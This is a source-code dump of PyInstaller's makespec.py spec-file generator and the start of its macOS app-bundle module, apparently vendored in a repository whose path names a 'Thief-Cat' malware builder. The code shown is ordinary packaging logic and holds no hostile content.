# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------
"""
Automatically build spec files containing a description of the project.
"""

import argparse
import os
import re

from PyInstaller import DEFAULT_SPECPATH, HOMEPATH
from PyInstaller import log as logging
from PyInstaller.building.templates import bundleexetmplt, bundletmplt, onedirtmplt, onefiletmplt, splashtmpl
from PyInstaller.compat import expand_path, is_darwin, is_win

logger = logging.getLogger(__name__)

# This list gives valid choices for the ``--debug`` command-line option, except for the ``all`` choice.
DEBUG_ARGUMENT_CHOICES = ['imports', 'bootloader', 'noarchive']
# This is the ``all`` choice.
DEBUG_ALL_CHOICE = ['all']


def escape_win_filepath(path):
    # escape all \ with another \ after using normpath to clean up the path
    return os.path.normpath(path).replace('\\', '\\\\')


def make_path_spec_relative(filename, spec_dir):
    """
    Make the filename relative to the directory containing .spec file if filename is relative and not absolute.
    Otherwise keep filename untouched.
    """
    if os.path.isabs(filename):
        return filename
    else:
        filename = os.path.abspath(filename)
        # Make it relative.
        filename = os.path.relpath(filename, start=spec_dir)
        return filename


# Support for trying to avoid hard-coded paths in the .spec files. Eg, all files rooted in the Installer directory tree
# will be written using "HOMEPATH", thus allowing this spec file to be used with any Installer installation. Same thing
# could be done for other paths too.
path_conversions = ((HOMEPATH, "HOMEPATH"),)


class SourceDestAction(argparse.Action):
    """
    A command line option which takes multiple source:dest pairs.
    """
    def __init__(self, *args, default=None, metavar=None, **kwargs):
        super().__init__(*args, default=[], metavar='SOURCE:DEST', **kwargs)

    def __call__(self, parser, namespace, value, option_string=None):
        try:
            # Find the only separator that isn't a Windows drive.
            separator, = (m for m in re.finditer(rf"(^\w:[/\\])|[:{os.pathsep}]", value) if not m[1])
        except ValueError:
            # Split into SRC and DEST failed, wrong syntax
            raise argparse.ArgumentError(self, f'Wrong syntax, should be {self.option_strings[0]}=SOURCE:DEST')
        src = value[:separator.start()]
        dest = value[separator.end():]
        if not src or not dest:
            # Syntax was correct, but one or both of SRC and DEST was not given
            raise argparse.ArgumentError(self, "You have to specify both SOURCE and DEST")

        # argparse is not particularly smart with copy by reference typed defaults. If the current list is the default,
        # replace it before modifying it to avoid changing the default.
        if getattr(namespace, self.dest) is self.default:
            setattr(namespace, self.dest, [])
        getattr(namespace, self.dest).append((src, dest))


def make_variable_path(filename, conversions=path_conversions):
    if not os.path.isabs(filename):
        # os.path.commonpath can not compare relative and absolute paths, and if filename is not absolute, none of the
        # paths in conversions will match anyway.
        return None, filename
    for (from_path, to_name) in conversions:
        assert os.path.abspath(from_path) == from_path, ("path '%s' should already be absolute" % from_path)
        try:
            common_path = os.path.commonpath([filename, from_path])
        except ValueError:
            # Per https://docs.python.org/3/library/os.path.html#os.path.commonpath, this raises ValueError in several
            # cases which prevent computing a common path.
            common_path = None
        if common_path == from_path:
            rest = filename[len(from_path):]
            if rest.startswith(('\\', '/')):
                rest = rest[1:]
            return to_name, rest
    return None, filename


def removed_key_option(x):
    from PyInstaller.exceptions import RemovedCipherFeatureError
    raise RemovedCipherFeatureError("Please remove your --key=xxx argument.")


class _RemovedFlagAction(argparse.Action):
    def __init__(self, *args, **kwargs):
        kwargs["help"] = argparse.SUPPRESS
        kwargs["nargs"] = 0
        super().__init__(*args, **kwargs)


class _RemovedNoEmbedManifestAction(_RemovedFlagAction):
    def __call__(self, *args, **kwargs):
        from PyInstaller.exceptions import RemovedExternalManifestError
        raise RemovedExternalManifestError("Please remove your --no-embed-manifest argument.")


class _RemovedWinPrivateAssembliesAction(_RemovedFlagAction):
    def __call__(self, *args, **kwargs):
        from PyInstaller.exceptions import RemovedWinSideBySideSupportError
        raise RemovedWinSideBySideSupportError("Please remove your --win-private-assemblies argument.")


class _RemovedWinNoPreferRedirectsAction(_RemovedFlagAction):
    def __call__(self, *args, **kwargs):
        from PyInstaller.exceptions import RemovedWinSideBySideSupportError
        raise RemovedWinSideBySideSupportError("Please remove your --win-no-prefer-redirects argument.")


# An object used in place of a "path string", which knows how to repr() itself using variable names instead of
# hard-coded paths.
class Path:
    def __init__(self, *parts):
        self.path = os.path.join(*parts)
        self.variable_prefix = self.filename_suffix = None

    def __repr__(self):
        if self.filename_suffix is None:
            self.variable_prefix, self.filename_suffix = make_variable_path(self.path)
        if self.variable_prefix is None:
            return repr(self.path)
        return "os.path.join(" + self.variable_prefix + "," + repr(self.filename_suffix) + ")"


# An object used to construct extra preamble for the spec file, in order to accommodate extra collect_*() calls from the
# command-line
class Preamble:
    def __init__(
        self, datas, binaries, hiddenimports, collect_data, collect_binaries, collect_submodules, collect_all,
        copy_metadata, recursive_copy_metadata
    ):
        # Initialize with literal values - will be switched to preamble variable name later, if necessary
        self.binaries = binaries or []
        self.hiddenimports = hiddenimports or []
        self.datas = datas or []
        # Preamble content
        self.content = []

        # Import statements
        if collect_data:
            self._add_hookutil_import('collect_data_files')
        if collect_binaries:
            self._add_hookutil_import('collect_dynamic_libs')
        if collect_submodules:
            self._add_hookutil_import('collect_submodules')
        if collect_all:
            self._add_hookutil_import('collect_all')
        if copy_metadata or recursive_copy_metadata:
            self._add_hookutil_import('copy_metadata')
        if self.content:
            self.content += ['']  # empty line to separate the section
        # Variables
        if collect_data or copy_metadata or collect_all or recursive_copy_metadata:
            self._add_var('datas', self.datas)
            self.datas = 'datas'  # switch to variable
        if collect_binaries or collect_all:
            self._add_var('binaries', self.binaries)
            self.binaries = 'binaries'  # switch to variable
        if collect_submodules or collect_all:
            self._add_var('hiddenimports', self.hiddenimports)
            self.hiddenimports = 'hiddenimports'  # switch to variable
        # Content - collect_data_files
        for entry in collect_data:
            self._add_collect_data(entry)
        # Content - copy_metadata
        for entry in copy_metadata:
            self._add_copy_metadata(entry)
        # Content - copy_metadata(..., recursive=True)
        for entry in recursive_copy_metadata:
            self._add_recursive_copy_metadata(entry)
        # Content - collect_binaries
        for entry in collect_binaries:
            self._add_collect_binaries(entry)
        # Content - collect_submodules
        for entry in collect_submodules:
            self._add_collect_submodules(entry)
        # Content - collect_all
        for entry in collect_all:
            self._add_collect_all(entry)
        # Merge
        if self.content and self.content[-1] != '':
            self.content += ['']  # empty line
        self.content = '\n'.join(self.content)

    def _add_hookutil_import(self, name):
        self.content += ['from PyInstaller.utils.hooks import {0}'.format(name)]

    def _add_var(self, name, initial_value):
        self.content += ['{0} = {1}'.format(name, initial_value)]

    def _add_collect_data(self, name):
        self.content += ['datas += collect_data_files(\'{0}\')'.format(name)]

    def _add_copy_metadata(self, name):
        self.content += ['datas += copy_metadata(\'{0}\')'.format(name)]

    def _add_recursive_copy_metadata(self, name):
        self.content += ['datas += copy_metadata(\'{0}\', recursive=True)'.format(name)]

    def _add_collect_binaries(self, name):
        self.content += ['binaries += collect_dynamic_libs(\'{0}\')'.format(name)]

    def _add_collect_submodules(self, name):
        self.content += ['hiddenimports += collect_submodules(\'{0}\')'.format(name)]

    def _add_collect_all(self, name):
        self.content += [
            'tmp_ret = collect_all(\'{0}\')'.format(name),
            'datas += tmp_ret[0]; binaries += tmp_ret[1]; hiddenimports += tmp_ret[2]'
        ]


def __add_options(parser):
    """
    Add the `Makespec` options to a option-parser instance or a option group.
    """
    g = parser.add_argument_group('What to generate')
    g.add_argument(
        "-D",
        "--onedir",
        dest="onefile",
        action="store_false",
        default=None,
        help="Create a one-folder bundle containing an executable (default)",
    )
    g.add_argument(
        "-F",
        "--onefile",
        dest="onefile",
        action="store_true",
        default=None,
        help="Create a one-file bundled executable.",
    )
    g.add_argument(
        "--specpath",
        metavar="DIR",
        help="Folder to store the generated spec file (default: current directory)",
    )
    g.add_argument(
        "-n",
        "--name",
        help="Name to assign to the bundled app and spec file (default: first script's basename)",
    )
    g.add_argument(
        "--contents-directory",
        help="For onedir builds only, specify the name of the directory in which all supporting files (i.e. everything "
        "except the executable itself) will be placed in.",
    )

    g = parser.add_argument_group('What to bundle, where to search')
    g.add_argument(
        '--add-data',
        action=SourceDestAction,
        dest='datas',
        help="Additional data files or directories containing data files to be added to the application. The argument "
        'value should be in form of "source:dest_dir", where source is the path to file (or directory) to be '
        "collected, dest_dir is the destination directory relative to the top-level application directory, and both "
        "paths are separated by a colon (:). To put a file in the top-level application directory, use . as a "
        "dest_dir. This option can be used multiple times."
    )
    g.add_argument(
        '--add-binary',
        action=SourceDestAction,
        dest="binaries",
        help='Additional binary files to be added to the executable. See the ``--add-data`` option for the format. '
        'This option can be used multiple times.',
    )
    g.add_argument(
        "-p",
        "--paths",
        dest="pathex",
        metavar="DIR",
        action="append",
        default=[],
        help="A path to search for imports (like using PYTHONPATH). Multiple paths are allowed, separated by ``%s``, "
        "or use this option multiple times. Equivalent to supplying the ``pathex`` argument in the spec file." %
        repr(os.pathsep),
    )
    g.add_argument(
        '--hidden-import',
        '--hiddenimport',
        action='append',
        default=[],
        metavar="MODULENAME",
        dest='hiddenimports',
        help='Name an import not visible in the code of the script(s). This option can be used multiple times.',
    )
    g.add_argument(
        '--collect-submodules',
        action="append",
        default=[],
        metavar="MODULENAME",
        dest='collect_submodules',
        help='Collect all submodules from the specified package or module. This option can be used multiple times.',
    )
    g.add_argument(
        '--collect-data',
        '--collect-datas',
        action="append",
        default=[],
        metavar="MODULENAME",
        dest='collect_data',
        help='Collect all data from the specified package or module. This option can be used multiple times.',
    )
    g.add_argument(
        '--collect-binaries',
        action="append",
        default=[],
        metavar="MODULENAME",
        dest='collect_binaries',
        help='Collect all binaries from the specified package or module. This option can be used multiple times.',
    )
    g.add_argument(
        '--collect-all',
        action="append",
        default=[],
        metavar="MODULENAME",
        dest='collect_all',
        help='Collect all submodules, data files, and binaries from the specified package or module. This option can '
        'be used multiple times.',
    )
    g.add_argument(
        '--copy-metadata',
        action="append",
        default=[],
        metavar="PACKAGENAME",
        dest='copy_metadata',
        help='Copy metadata for the specified package. This option can be used multiple times.',
    )
    g.add_argument(
        '--recursive-copy-metadata',
        action="append",
        default=[],
        metavar="PACKAGENAME",
        dest='recursive_copy_metadata',
        help='Copy metadata for the specified package and all its dependencies. This option can be used multiple '
        'times.',
    )
    g.add_argument(
        "--additional-hooks-dir",
        action="append",
        dest="hookspath",
        default=[],
        help="An additional path to search for hooks. This option can be used multiple times.",
    )
    g.add_argument(
        '--runtime-hook',
        action='append',
        dest='runtime_hooks',
        default=[],
        help='Path to a custom runtime hook file. A runtime hook is code that is bundled with the executable and is '
        'executed before any other code or module to set up special features of the runtime environment. This option '
        'can be used multiple times.',
    )
    g.add_argument(
        '--exclude-module',
        dest='excludes',
        action='append',
        default=[],
        help='Optional module or package (the Python name, not the path name) that will be ignored (as though it was '
        'not found). This option can be used multiple times.',
    )
    g.add_argument(
        '--key',
        dest='key',
        help=argparse.SUPPRESS,
        type=removed_key_option,
    )
    g.add_argument(
        '--splash',
        dest='splash',
        metavar="IMAGE_FILE",
        help="(EXPERIMENTAL) Add an splash screen with the image IMAGE_FILE to the application. The splash screen can "
        "display progress updates while unpacking.",
    )

    g = parser.add_argument_group('How to generate')
    g.add_argument(
        "-d",
        "--debug",
        # If this option is not specified, then its default value is an empty list (no debug options selected).
        default=[],
        # Note that ``nargs`` is omitted. This produces a single item not stored in a list, as opposed to a list
        # containing one item, as per `nargs <https://docs.python.org/3/library/argparse.html#nargs>`_.
        nargs=None,
        # The options specified must come from this list.
        choices=DEBUG_ALL_CHOICE + DEBUG_ARGUMENT_CHOICES,
        # Append choice, rather than storing them (which would overwrite any previous selections).
        action='append',
        # Allow newlines in the help text; see the ``_SmartFormatter`` in ``__main__.py``.
        help=(
            "R|Provide assistance with debugging a frozen\n"
            "application. This argument may be provided multiple\n"
            "times to select several of the following options.\n"
            "\n"
            "- all: All three of the following options.\n"
            "\n"
            "- imports: specify the -v option to the underlying\n"
            "  Python interpreter, causing it to print a message\n"
            "  each time a module is initialized, showing the\n"
            "  place (filename or built-in module) from which it\n"
            "  is loaded. See\n"
            "  https://docs.python.org/3/using/cmdline.html#id4.\n"
            "\n"
            "- bootloader: tell the bootloader to issue progress\n"
            "  messages while initializing and starting the\n"
            "  bundled app. Used to diagnose problems with\n"
            "  missing imports.\n"
            "\n"
            "- noarchive: instead of storing all frozen Python\n"
            "  source files as an archive inside the resulting\n"
            "  executable, store them as files in the resulting\n"
            "  output directory.\n"
            "\n"
        ),
    )
    g.add_argument(
        '--python-option',
        dest='python_options',
        metavar='PYTHON_OPTION',
        action='append',
        default=[],
        help='Specify a command-line option to pass to the Python interpreter at runtime. Currently supports '
        '"v" (equivalent to "--debug imports"), "u", and "W <warning control>".',
    )
    g.add_argument(
        "-s",
        "--strip",
        action="store_true",
        help="Apply a symbol-table strip to the executable and shared libs (not recommended for Windows)",
    )
    g.add_argument(
        "--noupx",
        action="store_true",
        default=False,
        help="Do not use UPX even if it is available (works differently between Windows and *nix)",
    )
    g.add_argument(
        "--upx-exclude",
        dest="upx_exclude",
        metavar="FILE",
        action="append",
        help="Prevent a binary from being compressed when using upx. This is typically used if upx corrupts certain "
        "binaries during compression. FILE is the filename of the binary without path. This option can be used "
        "multiple times.",
    )

    g = parser.add_argument_group('Windows and Mac OS X specific options')
    g.add_argument(
        "-c",
        "--console",
        "--nowindowed",
        dest="console",
        action="store_true",
        default=None,
        help="Open a console window for standard i/o (default). On Windows this option has no effect if the first "
        "script is a '.pyw' file.",
    )
    g.add_argument(
        "-w",
        "--windowed",
        "--noconsole",
        dest="console",
        action="store_false",
        default=None,
        help="Windows and Mac OS X: do not provide a console window for standard i/o. On Mac OS this also triggers "
        "building a Mac OS .app bundle. On Windows this option is automatically set if the first script is a '.pyw' "
        "file. This option is ignored on *NIX systems.",
    )
    g.add_argument(
        "--hide-console",
        type=str,
        choices={'hide-early', 'hide-late', 'minimize-early', 'minimize-late'},
        default=None,
        help="Windows only: in console-enabled executable, have bootloader automatically hide or minimize the console "
        "window if the program owns the console window (i.e., was not launched from an existing console window).",
    )
    g.add_argument(
        "-i",
        "--icon",
        action='append',
        dest="icon_file",
        metavar='<FILE.ico or FILE.exe,ID or FILE.icns or Image or "NONE">',
        help="FILE.ico: apply the icon to a Windows executable. FILE.exe,ID: extract the icon with ID from an exe. "
        "FILE.icns: apply the icon to the .app bundle on Mac OS. If an image file is entered that isn't in the "
        "platform format (ico on Windows, icns on Mac), PyInstaller tries to use Pillow to translate the icon into "
        "the correct format (if Pillow is installed). Use \"NONE\" to not apply any icon, thereby making the OS show "
        "some default (default: apply PyInstaller's icon). This option can be used multiple times.",
    )
    g.add_argument(
        "--disable-windowed-traceback",
        dest="disable_windowed_traceback",
        action="store_true",
        default=False,
        help="Disable traceback dump of unhandled exception in windowed (noconsole) mode (Windows and macOS only), "
        "and instead display a message that this feature is disabled.",
    )

    g = parser.add_argument_group('Windows specific options')
    g.add_argument(
        "--version-file",
        dest="version_file",
        metavar="FILE",
        help="Add a version resource from FILE to the exe.",
    )
    g.add_argument(
        "-m",
        "--manifest",
        metavar="<FILE or XML>",
        help="Add manifest FILE or XML to the exe.",
    )
    g.add_argument(
        "--no-embed-manifest",
        action=_RemovedNoEmbedManifestAction,
    )
    g.add_argument(
        "-r",
        "--resource",
        dest="resources",
        metavar="RESOURCE",
        action="append",
        default=[],
        help="Add or update a resource to a Windows executable. The RESOURCE is one to four items, "
        "FILE[,TYPE[,NAME[,LANGUAGE]]]. FILE can be a data file or an exe/dll. For data files, at least TYPE and NAME "
        "must be specified. LANGUAGE defaults to 0 or may be specified as wildcard * to update all resources of the "
        "given TYPE and NAME. For exe/dll files, all resources from FILE will be added/updated to the final executable "
        "if TYPE, NAME and LANGUAGE are omitted or specified as wildcard *. This option can be used multiple times.",
    )
    g.add_argument(
        '--uac-admin',
        dest='uac_admin',
        action="store_true",
        default=False,
        help="Using this option creates a Manifest that will request elevation upon application start.",
    )
    g.add_argument(
        '--uac-uiaccess',
        dest='uac_uiaccess',
        action="store_true",
        default=False,
        help="Using this option allows an elevated application to work with Remote Desktop.",
    )

    g = parser.add_argument_group('Windows Side-by-side Assembly searching options (advanced)')
    g.add_argument(
        "--win-private-assemblies",
        action=_RemovedWinPrivateAssembliesAction,
    )
    g.add_argument(
        "--win-no-prefer-redirects",
        action=_RemovedWinNoPreferRedirectsAction,
    )

    g = parser.add_argument_group('Mac OS specific options')
    g.add_argument(
        "--argv-emulation",
        dest="argv_emulation",
        action="store_true",
        default=False,
        help="Enable argv emulation for macOS app bundles. If enabled, the initial open document/URL event is "
        "processed by the bootloader and the passed file paths or URLs are appended to sys.argv.",
    )

    g.add_argument(
        '--osx-bundle-identifier',
        dest='bundle_identifier',
        help="Mac OS .app bundle identifier is used as the default unique program name for code signing purposes. "
        "The usual form is a hierarchical name in reverse DNS notation. For example: com.mycompany.department.appname "
        "(default: first script's basename)",
    )

    g.add_argument(
        '--target-architecture',
        '--target-arch',
        dest='target_arch',
        metavar='ARCH',
        default=None,
        help="Target architecture (macOS only; valid values: x86_64, arm64, universal2). Enables switching between "
        "universal2 and single-arch version of frozen application (provided python installation supports the target "
        "architecture). If not target architecture is not specified, the current running architecture is targeted.",
    )

    g.add_argument(
        '--codesign-identity',
        dest='codesign_identity',
        metavar='IDENTITY',
        default=None,
        help="Code signing identity (macOS only). Use the provided identity to sign collected binaries and generated "
        "executable. If signing identity is not provided, ad-hoc signing is performed instead.",
    )

    g.add_argument(
        '--osx-entitlements-file',
        dest='entitlements_file',
        metavar='FILENAME',
        default=None,
        help="Entitlements file to use when code-signing the collected binaries (macOS only).",
    )

    g = parser.add_argument_group('Rarely used special options')
    g.add_argument(
        "--runtime-tmpdir",
        dest="runtime_tmpdir",
        metavar="PATH",
        help="Where to extract libraries and support files in `onefile`-mode. If this option is given, the bootloader "
        "will ignore any temp-folder location defined by the run-time OS. The ``_MEIxxxxxx``-folder will be created "
        "here. Please use this option only if you know what you are doing.",
    )
    g.add_argument(
        "--bootloader-ignore-signals",
        action="store_true",
        default=False,
        help="Tell the bootloader to ignore signals rather than forwarding them to the child process. Useful in "
        "situations where for example a supervisor process signals both the bootloader and the child (e.g., via a "
        "process group) to avoid signalling the child twice.",
    )


def main(
    scripts,
    name=None,
    onefile=False,
    console=True,
    debug=[],
    python_options=[],
    strip=False,
    noupx=False,
    upx_exclude=None,
    runtime_tmpdir=None,
    contents_directory=None,
    pathex=[],
    version_file=None,
    specpath=None,
    bootloader_ignore_signals=False,
    disable_windowed_traceback=False,
    datas=[],
    binaries=[],
    icon_file=None,
    manifest=None,
    resources=[],
    bundle_identifier=None,
    hiddenimports=[],
    hookspath=[],
    runtime_hooks=[],
    excludes=[],
    uac_admin=False,
    uac_uiaccess=False,
    collect_submodules=[],
    collect_binaries=[],
    collect_data=[],
    collect_all=[],
    copy_metadata=[],
    splash=None,
    recursive_copy_metadata=[],
    target_arch=None,
    codesign_identity=None,
    entitlements_file=None,
    argv_emulation=False,
    hide_console=None,
    **_kwargs
):
    # Default values for onefile and console when not explicitly specified on command-line (indicated by None)
    if onefile is None:
        onefile = False

    if console is None:
        console = True

    # If appname is not specified - use the basename of the main script as name.
    if name is None:
        name = os.path.splitext(os.path.basename(scripts[0]))[0]

    # If specpath not specified - use default value - current working directory.
    if specpath is None:
        specpath = DEFAULT_SPECPATH
    else:
        # Expand tilde to user's home directory.
        specpath = expand_path(specpath)
    # If cwd is the root directory of PyInstaller, generate the .spec file in ./appname/ subdirectory.
    if specpath == HOMEPATH:
        specpath = os.path.join(HOMEPATH, name)
    # Create directory tree if missing.
    if not os.path.exists(specpath):
        os.makedirs(specpath)

    # Handle additional EXE options.
    exe_options = ''
    if version_file:
        exe_options += "\n    version='%s'," % escape_win_filepath(version_file)
    if uac_admin:
        exe_options += "\n    uac_admin=True,"
    if uac_uiaccess:
        exe_options += "\n    uac_uiaccess=True,"
    if icon_file:
        # Icon file for Windows.
        # On Windows, the default icon is embedded in the bootloader executable.
        if icon_file[0] == 'NONE':
            exe_options += "\n    icon='NONE',"
        else:
            exe_options += "\n    icon=[%s]," % ','.join("'%s'" % escape_win_filepath(ic) for ic in icon_file)
        # Icon file for Mac OS.
        # We need to encapsulate it into apostrofes.
        icon_file = "'%s'" % icon_file[0]
    else:
        # On Mac OS, the default icon has to be copied into the .app bundle.
        # The the text value 'None' means - use default icon.
        icon_file = 'None'
    if contents_directory:
        exe_options += "\n    contents_directory='%s'," % (contents_directory or "_internal")
    if hide_console:
        exe_options += "\n    hide_console='%s'," % hide_console

    if bundle_identifier:
        # We need to encapsulate it into apostrofes.
        bundle_identifier = "'%s'" % bundle_identifier

    if manifest:
        if "<" in manifest:
            # Assume XML string
            exe_options += "\n    manifest='%s'," % manifest.replace("'", "\\'")
        else:
            # Assume filename
            exe_options += "\n    manifest='%s'," % escape_win_filepath(manifest)
    if resources:
        resources = list(map(escape_win_filepath, resources))
        exe_options += "\n    resources=%s," % repr(resources)

    hiddenimports = hiddenimports or []
    upx_exclude = upx_exclude or []

    # If file extension of the first script is '.pyw', force --windowed option.
    if is_win and os.path.splitext(scripts[0])[-1] == '.pyw':
        console = False

    # If script paths are relative, make them relative to the directory containing .spec file.
    scripts = [make_path_spec_relative(x, specpath) for x in scripts]
    # With absolute paths replace prefix with variable HOMEPATH.
    scripts = list(map(Path, scripts))

    # Translate the default of ``debug=None`` to an empty list.
    if debug is None:
        debug = []
    # Translate the ``all`` option.
    if DEBUG_ALL_CHOICE[0] in debug:
        debug = DEBUG_ARGUMENT_CHOICES

    # Create preamble (for collect_*() calls)
    preamble = Preamble(
        datas, binaries, hiddenimports, collect_data, collect_binaries, collect_submodules, collect_all, copy_metadata,
        recursive_copy_metadata
    )

    if splash:
        splash_init = splashtmpl % {'splash_image': splash}
        splash_binaries = "\n    splash.binaries,"
        splash_target = "\n    splash,"
    else:
        splash_init = splash_binaries = splash_target = ""

    # Create OPTIONs array
    if 'imports' in debug and 'v' not in python_options:
        python_options.append('v')
    python_options_array = [(opt, None, 'OPTION') for opt in python_options]

    d = {
        'scripts': scripts,
        'pathex': pathex or [],
        'binaries': preamble.binaries,
        'datas': preamble.datas,
        'hiddenimports': preamble.hiddenimports,
        'preamble': preamble.content,
        'name': name,
        'noarchive': 'noarchive' in debug,
        'options': python_options_array,
        'debug_bootloader': 'bootloader' in debug,
        'bootloader_ignore_signals': bootloader_ignore_signals,
        'strip': strip,
        'upx': not noupx,
        'upx_exclude': upx_exclude,
        'runtime_tmpdir': runtime_tmpdir,
        'exe_options': exe_options,
        # Directory with additional custom import hooks.
        'hookspath': hookspath,
        # List with custom runtime hook files.
        'runtime_hooks': runtime_hooks or [],
        # List of modules/packages to ignore.
        'excludes': excludes or [],
        # only Windows and Mac OS distinguish windowed and console apps
        'console': console,
        'disable_windowed_traceback': disable_windowed_traceback,
        # Icon filename. Only Mac OS uses this item.
        'icon': icon_file,
        # .app bundle identifier. Only OSX uses this item.
        'bundle_identifier': bundle_identifier,
        # argv emulation (macOS only)
        'argv_emulation': argv_emulation,
        # Target architecture (macOS only)
        'target_arch': target_arch,
        # Code signing identity (macOS only)
        'codesign_identity': codesign_identity,
        # Entitlements file (macOS only)
        'entitlements_file': entitlements_file,
        # splash screen
        'splash_init': splash_init,
        'splash_target': splash_target,
        'splash_binaries': splash_binaries,
    }

    # Write down .spec file to filesystem.
    specfnm = os.path.join(specpath, name + '.spec')
    with open(specfnm, 'w', encoding='utf-8') as specfile:
        if onefile:
            specfile.write(onefiletmplt % d)
            # For Mac OS create .app bundle.
            if is_darwin and not console:
                specfile.write(bundleexetmplt % d)
        else:
            specfile.write(onedirtmplt % d)
            # For Mac OS create .app bundle.
            if is_darwin and not console:
                specfile.write(bundletmplt % d)

    return specfnm

ThiefCat_assets/MwlareBuilder/building/makespec.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2005-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------

import os
import pathlib
import plistlib
import shutil
import subprocess

from PyInstaller.building.api import COLLECT, EXE
from PyInstaller.building.datastruct import Target, logger, normalize_toc
from PyInstaller.building.utils import _check_path_overlap, _rmtree, process_collected_binary
from PyInstaller.compat import is_darwin, strict_collect_mode
from PyInstaller.building.icon import normalize_icon_type
import PyInstaller.utils.misc as miscutils

if is_darwin:
    import PyInstaller.utils.osx as osxutils

# Character sequence used to replace dot (`.`) in names of directories that are created in `Contents/MacOS` or
# `Contents/Frameworks`, where only .framework bundle directories are allowed to have dot in name.
DOT_REPLACEMENT = '__dot__'


class BUNDLE(Target):
    def __init__(self, *args, **kwargs):
        from PyInstaller.config import CONF

        # BUNDLE only has a sense under Mac OS, it's a noop on other platforms
        if not is_darwin:
            return

        # Get a path to a .icns icon for the app bundle.
        self.icon = kwargs.get('icon')
        if not self.icon:
            # --icon not specified; use the default in the PyInstaller folder
            self.icon = os.path.join(
                os.path.dirname(os.path.dirname(__file__)), 'bootloader', 'images', 'icon-windowed.icns'
            )
        else:
            # User gave an --icon=path. If it is relative, make it relative to the spec file location.
            if not os.path.isabs(self.icon):
                self.icon = os.path.join(CONF['specpath'], self.icon)

        super().__init__()

        # .app bundle is created in DISTPATH.
        self.name = kwargs.get('name', None)
        base_name = os.path.basename(self.name)
        self.name = os.path.join(CONF['distpath'], base_name)

        self.appname = os.path.splitext(base_name)[0]
        self.version = kwargs.get("version", "0.0.0")
        self.toc = []
        self.strip = False
        self.upx = False
        self.console = True
        self.target_arch = None
        self.codesign_identity = None
        self.entitlements_file = None

        # .app bundle identifier for Code Signing
        self.bundle_identifier = kwargs.get('bundle_identifier')
        if not self.bundle_identifier:
            # Fallback to appname.
            self.bundle_identifier = self.appname

        self.info_plist = kwargs.get('info_plist', None)

        for arg in args:
            # Valid arguments: EXE object, COLLECT object, and TOC-like iterables
            if isinstance(arg, EXE):
                # Add EXE as an entry to the TOC, and merge its dependencies TOC
                self.toc.append((os.path.basename(arg.name), arg.name, 'EXECUTABLE'))
                self.toc.extend(arg.dependencies)
                # Inherit settings
                self.strip = arg.strip
                self.upx = arg.upx
                self.upx_exclude = arg.upx_exclude
                self.console = arg.console
                self.target_arch = arg.target_arch
                self.codesign_identity = arg.codesign_identity
                self.entitlements_file = arg.entitlements_file
            elif isinstance(arg, COLLECT):
                # Merge the TOC
                self.toc.extend(arg.toc)
                # Inherit settings
                self.strip = arg.strip_binaries
                self.upx = arg.upx_binaries
                self.upx_exclude = arg.upx_exclude
                self.console = arg.console
                self.target_arch = arg.target_arch
                self.codesign_identity = arg.codesign_identity
                self.entitlements_file = arg.entitlements_file
            elif miscutils.is_iterable(arg):
                # TOC-like iterable
                self.toc.extend(arg)
            else:
                raise TypeError(f"Invalid argument type for BUNDLE: {type(arg)!r}")

        # Infer the executable name from the first EXECUTABLE entry in the TOC; it might have come from the COLLECT
        # (as opposed to the stand-alone EXE).
        for dest_name, src_name, typecode in self.toc:
            if typecode == "EXECUTABLE":
                self.exename = src_name
                break
        else:
            raise ValueError("No EXECUTABLE entry found in the TOC!")

        # Normalize TOC
        self.toc = normalize_toc(self.toc)

        self.__postinit__()

    _GUTS = (
        # BUNDLE always builds, just want the toc to be written out
        ('toc', None),
    )

    def _check_guts(self, data, last_build):
        # BUNDLE always needs to be executed, in order to clean the output directory.
        return True

    # Helper for determining whether the given file belongs to a .framework bundle or not. If it does, it returns
    # the path to the top-level .framework bundle directory; otherwise, returns None.
    @staticmethod
    def _is_framework_file(dest_path):
        for parent in dest_path.parents:
            if parent.name.endswith('.framework'):
                return parent
        return None

    # Helper that computes relative cross-link path between link's location and target, assuming they are both
    # rooted in the `Contents` directory of a macOS .app bundle.
    @staticmethod
    def _compute_relative_crosslink(crosslink_location, crosslink_target):
        # We could take symlink_location and symlink_target as they are (relative to parent of the `Contents`
        # directory), but that would introduce an unnecessary `../Contents` part. So instead, we take both paths
        # relative to the `Contents` directory.
        return os.path.join(
            *['..' for level in pathlib.PurePath(crosslink_location).relative_to('Contents').parent.parts],
            pathlib.PurePath(crosslink_target).relative_to('Contents'),
        )

    # This method takes the original (input) TOC and processes it into final TOC, based on which the `assemble` method
    # performs its file collection. The TOC processing here represents the core of our efforts to generate an .app
    # bundle that is compatible with Apple's code-signing requirements.
    #
    # For in-depth details on the code-signing, see Apple's `Technical Note TN2206: macOS Code Signing In Depth` at
    # https://developer.apple.com/library/archive/technotes/tn2206/_index.html
    #
    # The requirements, framed from PyInstaller's perspective, can be summarized as follows:
    #
    # 1. The `Contents/MacOS` directory is expected to contain only the program executable and (binary) code (= dylibs
    #    and nested .framework bundles). Alternatively, the dylibs and .framework bundles can be also placed into
    #    `Contents/Frameworks` directory (where same rules apply as for `Contents/MacOS`, so the remainder of this
    #    text refers to the two inter-changeably, unless explicitly noted otherwise). The code in `Contents/MacOS`
    #    is expected to be signed, and the `codesign` utility will recursively sign all found code when using `--deep`
    #    option to sign the .app bundle.
    #
    # 2. All non-code files should be be placed in `Contents/Resources`, so they become sealed (data) resources;
    #    i.e., their signature data is recorded in `Contents/_CodeSignature/CodeResources`. (As a side note,
    #    it seems that signature information for data/resources in `Contents/Resources` is kept nder `file` key in
    #    the `CodeResources` file, while the information for contents in `Contents/MacOS` is kept under `file2` key).
    #
    # 3. The directories in `Contents/MacOS` may not contain dots (`.`) in their names, except for the nested
    #    .framework bundle directories. The directories in `Contents/Resources` have no such restrictions.
    #
    # 4. There may not be any content in the top level of a bundle. In other words, if a bundle has a `Contents`
    #    or a `Versions` directory at its top level, there may be no other files or directories alongside them. The
    #    sole exception is that alongside ˙Versions˙, there may be symlinks to files and directories in
